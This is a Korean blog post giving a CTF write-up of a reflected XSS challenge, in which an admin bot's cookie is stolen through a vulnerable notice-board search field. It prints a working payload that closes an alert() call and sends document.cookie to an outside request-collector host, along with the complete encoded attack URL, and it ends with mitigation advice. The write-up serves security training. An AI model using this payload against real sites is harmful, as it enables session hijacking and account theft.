Archive for Dev. (junyup2)

์ง€์‹์„ ์ฑ„์›Œ๊ฐ€๋Š” ใ€Ž๊ฐœ๋ฐœ์ž/ํ™”์ดํŠธํ•ด์ปคใ€๋ฅผ ๋ชฉํ‘œ๋กœ ์ •๋ฆฌํ•˜๋Š” ๋ธ”๋กœ๊ทธ

Wargame & CTF/SegFault

[SegFault] (XSS) - XSS 2

Gearvirus(junyup2) 2023. 12. 29. 17:43

[SegFault] (XSS)

XSS 2

๊ด€๋ฆฌ์ž์˜ Cookie๋ฅผ ํƒˆ์ทจํ•˜์„ธ์š”!

๋ฌธ์ œ ํŒŒ์•…

๋ณธ ๋ฌธ์ œ์˜ ๊ฒฝ์šฐ XSS์˜ ์ทจ์•ฝ์ ์„ ์ฐพ๊ณ , ๊ด€๋ฆฌ์ž Bot์— ํ•ด๋‹น ๋งํฌ๋ฅผ ์ž…๋ ฅํ•˜์—ฌ ๊ณต๊ฒฉ์ž ์„œ๋ฒ„๋กœ Cookie ๊ฐ’์„ ํƒˆ์ทจํ•˜์—ฌ ๋ฐ›์œผ๋ฉด Flag๋ฅผ ํš๋“ํ•  ์ˆ˜ ์žˆ๋Š” ๋ฐฉ์‹์œผ๋กœ ์ด๋ฃจ์–ด์ ธ ์žˆ๋‹ค.

ํ•˜์ง€๋งŒ ํ˜„์žฌ ๊ณต๊ฒฉ์ž ์„œ๋ฒ„๋ฅผ ๊ฐ–๊ณ  ์žˆ์ง€ ์•Š์œผ๋ฏ€๋กœ RequestBin์„ ์ด์šฉํ•˜๊ธฐ๋กœ ํ•œ๋‹ค.

์šฐ์„  ์œ„์˜ [๊ด€๋ฆฌ์ž ๋ฐฉ๋ฌธ Bot Link]์— ์ ‘์†ํ•˜๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์€ URL ์ž…๋ ฅ์ฐฝ์„ ๋ณผ ์ˆ˜ ์žˆ๋‹ค.

XSS ์ทจ์•ฝ์ ์„ ๋ฐœ๊ฒฌํ•˜๊ณ  ํ•ด๋‹น ๋งํฌ๋ฅผ ์œ„์˜ URL์— ์ž…๋ ฅํ•˜๋ฉด ๊ณต๊ฒฉ์ž ์„œ๋ฒ„(RequestBin)๋กœ ์ฟ ํ‚ค ๊ฐ’์ด ๋‚ ์•„์˜ค๋Š” ๋ฐฉ์‹์ด๋‹ค.

์ด์ œ ์•„๋ž˜์˜ ๋ฌธ์ œ ๋งํฌ์— ์ ‘์†ํ•˜๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์ฐฝ์ด ๋‚˜์˜จ๋‹ค.

์šฐ์„  ํšŒ์›๊ฐ€์ž… ํ›„ ๋กœ๊ทธ์ธ์„ ์‹œ๋„ํ•ด๋ณธ๋‹ค.

๋งˆ์ดํŽ˜์ด์ง€์—๋Š” XSS ์ทจ์•ฝ์ ์ด ์กด์žฌํ•˜์ง€ ์•Š๋Š”๋‹ค๊ณ  ํŒ๋‹จ๋˜์–ด ๊ณต์ง€์‚ฌํ•ญ์„ ์‚ดํŽด๋ณด๊ธฐ๋กœ ํ•œ๋‹ค.

๊ณต์ง€์‚ฌํ•ญ์˜ ๊ฒ€์ƒ‰๊ธฐ๋Šฅ์„ ์ด์šฉํ•ด๋ณธ๋‹ค.

๊ทธ ๊ฒฐ๊ณผ ๊ฒ€์ƒ‰์–ด๊ฐ€ ๊ทธ๋Œ€๋กœ ์•Œ๋ฆผ์ฐฝ์— ๋…ธ์ถœ๋˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์—ˆ๋‹ค.

๊ฒ€์ƒ‰์–ด์˜ ๊ฒฐ๊ณผ๊ฐ€ alert() ๋‚ด๋ถ€์— ๋“ค์–ด ์žˆ๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์—ˆ๊ณ , ๊ฒ€์ƒ‰์–ด์— ํŠน์ˆ˜๊ธฐํ˜ธ์— ๋Œ€ํ•œ ๊ฒ€์ƒ‰์ด ๊ฐ€๋Šฅํ•œ์ง€ ํ™•์ธํ•ด๋ณธ๋‹ค.

XSS Point

< ' " >

์œ„์˜ ํŠน์ˆ˜๊ธฐํ˜ธ์— ๋Œ€ํ•œ ๊ฒ€์ƒ‰ ๊ฒฐ๊ณผ <, > ๋Š” HTML Entity๋กœ ์น˜ํ™˜๋˜์ง€๋งŒ ' , " ์˜ ๊ฒฝ์šฐ ๊ทธ๋Œ€๋กœ ๋ฐ˜์‚ฌ๋˜์–ด ์ถœ๋ ฅ๋˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•˜์˜€๋‹ค.

script ํƒœ๊ทธ์˜ alert๋ฌธ ๋‚ด๋ถ€์— ๊ฒ€์ƒ‰์–ด๊ฐ€ ์ž…๋ ฅ๋˜๋ฏ€๋กœ ์ด๋ฅผ ์ด์šฉํ•˜์—ฌ ํ™•์ธํ•ด๋ณธ๋‹ค.

1');//

์œ„์™€ ๊ฐ™์ด ์ž…๋ ฅํ•ด์ฃผ๋Š” ๊ฒฝ์šฐ ๋‹ค์Œ๊ณผ ๊ฐ™์ด alert๋‚ด๋ถ€์—๋Š” '1' ๋งŒ ๋‚จ๊ณ , ๋‚˜๋จธ์ง€๋Š” ์ฃผ์„์ฒ˜๋ฆฌ ๋˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๊ณ , ์ด์— ๋”ฐ๋ผ ์•Œ๋ฆผ์ฐฝ์— 1๋งŒ ๋œจ๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

์œ„์™€ ๊ฐ™์ด ๊ฒ€์ƒ‰์–ด์˜ ์ž…๋ ฅ๊ฐ’์„ ์กฐ์ž‘ํ•˜์—ฌ ์›ํ•˜๋Š” ์Šคํฌ๋ฆฝํŠธ๋ฅผ ๋ฐ˜์‚ฌ์‹œํ‚ฌ ์ˆ˜ ์žˆ๋‹ค๋Š” ๊ฒƒ์„ ํ™•์ธํ•˜์˜€์œผ๋ฏ€๋กœ ํŽ˜์ด๋กœ๋“œ(Payload)๋ฅผ ์‚ฝ์ž…ํ•˜์—ฌ ์ฟ ํ‚ค์œ„ ํƒˆ์ทจ๋ฅผ ์‹œ๋„ํ•œ๋‹ค.


ํ’€์ด ๊ณผ์ • (ํ•ด๊ฒฐ ๋ฐฉ์•ˆ)

ํŽ˜์ด๋กœ๋“œ(Payload)

XSS๊ฒ€์ƒ‰์–ด ๋…ธ์ถœ');
var cookieData = document.cookie;
var i = new Image();
i.src = "https://๊ณต๊ฒฉ์ž ์ฃผ์†Œ/?cookie="+cookieData;
//

์œ„์™€ ๊ฐ™์ด alert๋ฌธ์„ '); ๋ฅผ ์ด์šฉํ•˜์—ฌ ๋‹ซ์•„์ฃผ๊ณ , alert๋ฌธ์˜ ๋’ท๋ถ€๋ถ„์„ //๋ฅผ ์ด์šฉํ•˜์—ฌ ์ฃผ์„์ฒ˜๋ฆฌ๋ฅผ ํ•˜์—ฌ ๊ทธ ์‚ฌ์ด์— ์›ํ•˜๋Š” ์Šคํฌ๋ฆฝํŠธ์˜ ์‚ฝ์ž…๊ธฐ ๊ฐ€๋Šฅํ•˜๋‹ค.

๊ฒ€์ƒ‰์–ด์— ์œ„์™€ ๊ฐ™์ด ์ž…๋ ฅํ•˜๋Š” ๊ฒฝ์šฐ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์‚ฝ์ž…ํ•œ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ํ™œ์„ฑํ™”๋˜์–ด ์žˆ๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

๊ทธ๋Ÿฐ๋ฐ ํ•ด๋‹น ๊ฒ€์ƒ‰ ๊ธฐ๋Šฅ์€ ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ POST Method๋ฅผ ์ด์šฉํ•˜์—ฌ ๋ณด๋‚ด์ฃผ๊ณ  ์žˆ์Œ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค. ๋ฐ˜์‚ฌ๋˜๋Š” ์ž…๋ ฅ๊ฐ’ ๋…ธ์ถœ์„ ๋‹ค๋ฅธ ์ด์šฉ์ž์—๊ฒŒ ๋ณด๋‚ด๋ ค๋ฉด URL๋กœ์„œ ๋ณด๋‚ด์•ผ ํ•˜๋Š”๋ฐ URL์€ GET Method๋งŒ ๊ฐ€๋Šฅํ•˜๋‹ค.

 

์Šคํฌ๋ฆฝํŠธ ์ „๋‹ฌ(URL)

์ด๋ฅผ Burp๋ฅผ ์ด์šฉํ•˜์—ฌ POST Method๋ฅผ GET Method๋กœ ๋ณ€ํ™˜ํ•ด๋ณธ ๊ฒฐ๊ณผ ๋™์ผํ•œ ๊ฒฐ๊ณผ๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ๋‹ค๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์—ˆ๋‹ค.

์ด์— ํ•ด๋‹น ์š”์ฒญ์˜ URL์„ copyํ•˜์—ฌ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์ƒ์„ฑ๋œ ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

http://ctf.segfaulthub.com:4343/xss_2/notice_list.php?option_val=username&board_result=XSS+%EA%B2%80%EC%83%89%EC%96%B4+%EB%85%B8%EC%B6%9C%27%29%3B+var+cookieData+%3D+document.cookie%3B+var+i+%3D+new+Image%28%29%3B++i.src+%3D+%22https%3A%2F%2Fenvo7w0acv6g.x.pipedream.net%2F%3Fcookie%3D%22%2BcookieData%3B++%2F%2F&board_search=%F0%9F%94%8D&date_from=&date_to=

์œ„์˜ URL์„ ํด๋ฆญํ•˜๋„๋ก ์œ ๋„ํ•˜์—ฌ XSS๊ฐ€ ๋ฐœ์ƒํ•˜๋„๋ก ํ•˜๋Š” ๊ฒƒ์ด ๊ฐ€๋Šฅํ•˜๋‹ค.

๋”ฐ๋ผ์„œ ํ•ด๋‹น URL์„ ๊ด€๋ฆฌ์ž Bot์— ๋ณด๋‚ด์ค€๋‹ค.

ํƒˆ์ทจ๋œ ์ฟ ํ‚ค(Cookie)๊ฐ€ ๊ณต๊ฒฉ์ž ์ฃผ์†Œ(RequestBin)์œผ๋กœ ๋ฐ›์•„์™€์ง€๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

์œ„์™€ ๊ฐ™์ด ๊ฒ€์ƒ‰์–ด๋ฅผ ์ž…๋ ฅํ•˜๋Š” ์ผ๋ จ์˜ ๊ณผ์ •์„ ๋‹ด์€ URL๋กœ์˜ ์ ‘์† ์œ ๋„๋ฅผ ํ†ตํ•˜์—ฌ ์›ํ•˜๋Š” flag๊ฐ€ ํš๋“๋œ ๊ฒƒ์„ ํ™•์ธํ•˜์˜€๋‹ค.


์ทจ์•ฝ์ ์— ๊ด€ํ•œ ๊ณ ์ฐฐ

๋ณธ ๋ฌธ์ œ์˜ ๊ฒฝ์šฐ ๊ฒ€์ƒ‰ ๊ธฐ๋Šฅ์˜ ์ž…๋ ฅ๊ฐ’์ด ์•Œ๋ฆผ์ฐฝ์„ ํ†ตํ•ด ๊ทธ๋Œ€๋กœ ๋ฐ˜์‚ฌ๋˜์–ด ๋…ธ์ถœ๋˜๋Š” ๊ฒƒ์„ ์ด์šฉํ•œ Reflected XSS ์ทจ์•ฝ์ ์ด๋‹ค. ์ž…๋ ฅ์˜ ๊ฐ’์ด ์‘๋‹ต(Response)์— ๊ทธ๋Œ€๋กœ ๋ฐ˜์‚ฌ๋˜์–ด ๋…ธ์ถœ๋˜๋Š” ๊ฒฝ์šฐ ๋ฌธ์ œ๊ฐ€ ๋  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์— ๊ฒ€์ƒ‰ ์ž…๋ ฅ ๊ฐ’์˜ ์ตœ๋Œ€ ๊ธธ์ด๋ฅผ ์ œํ•œํ•˜๊ฑฐ๋‚˜, ๊ฒ€์ƒ‰์–ด๋ฅผ ์ง์ ‘์ ์œผ๋กœ ๋…ธ์ถœ ์‹œํ‚ค์ง€ ์•Š๊ณ  'ํ•ด๋‹นํ•˜๋Š” ๊ฒ€์ƒ‰์–ด๊ฐ€ ์—†์Šต๋‹ˆ๋‹ค.' ์™€ ๊ฐ™์€ ์ž…๋ ฅ๊ฐ’์„ ์ œ์™ธํ•œ ๋ฉ”์‹œ์ง€๋ฅผ ์ถœ๋ ฅํ•˜๋„๋ก ํ•ด์•ผํ•œ๋‹ค.

์งˆ๋ฌธ ํ™˜์˜, ์ˆ˜์ • ๋ฐ ๋ณด์™„์— ๋Œ€ํ•œ ์ง€์  ํ™˜์˜